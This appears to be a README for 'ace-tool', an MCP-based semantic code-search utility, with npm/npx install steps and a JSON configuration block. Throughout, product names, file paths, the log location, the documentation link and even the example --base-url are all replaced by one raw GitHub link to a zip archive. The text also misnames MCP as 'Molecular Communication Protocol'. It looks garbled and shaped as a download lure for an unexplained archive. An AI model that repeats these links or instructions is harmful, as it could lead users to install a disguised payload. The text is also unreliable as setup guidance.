Welcome to ace-tool! This application helps you index your codebase and find relevant context through semantic searches. It enhances your work with AI prompts, making coding more efficient.
To get started with ace-tool, visit the Releases page to download the latest version:
Download ace-tool from the Releases page
Once you've downloaded the application, you can install it easily.
-
Using npm: If you have https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip installed, you can run this command in your terminal:
npm install -g ace-tool@latest
-
Using npx: You can also run the tool directly without installing it. Use the following command, replacing
<URL>and<TOKEN>with your details:npx -y ace-tool@latest --base-url <URL> --token <TOKEN>
If you do not have https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip installed, you can find installation instructions here.
To use ace-tool with your MCP (Molecular Communication Protocol) setup, add the following to your MCP configuration file, for example https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip:
{
"mcpServers": {
"ace-tool": {
"command": "npx",
"args": [
"ace-tool",
"--base-url", "YOUR_BASE_URL",
"--token", "YOUR_TOKEN"
]
}
}
}This setup allows ace-tool to communicate with your project seamlessly.
When running ace-tool, you have several arguments you can use:
| Argument | Required | Description |
|---|---|---|
--base-url |
Yes | The API base URL for the indexing service |
--token |
Yes | Your authentication token |
--enable-log |
No | This enables logging to https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip in your project directory |
Make sure to include the required arguments to ensure ace-tool functions correctly.
The search_context function allows you to search your code for relevant snippets using plain language. This feature makes it easy to find the information you need without delving deep into the codebase.
To run ace-tool, ensure you have the following:
- Operating System: Works on Windows, macOS, and Linux.
- https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip: Version 12 or later.
- Internet Connection: Required for API access and updates.
Here is how you might use ace-tool within your project:
-
Configure the MCP settings as shown above.
-
Open your terminal and run:
npx ace-tool --base-url https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip --token your_auth_token
-
Use the
search_contextfeature to ask natural language questions related to your codebase.
You can find helpful resources and documentation:
- https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip Documentation
- MCP Standard
We welcome your feedback! For issues or suggestions, please check the issues page.
ace-tool is open-source and free to use. Check the LICENSE file for more details.
For continual updates and improvements, keep an eye on the Releases page!
Download ace-tool from the Releases page to get started.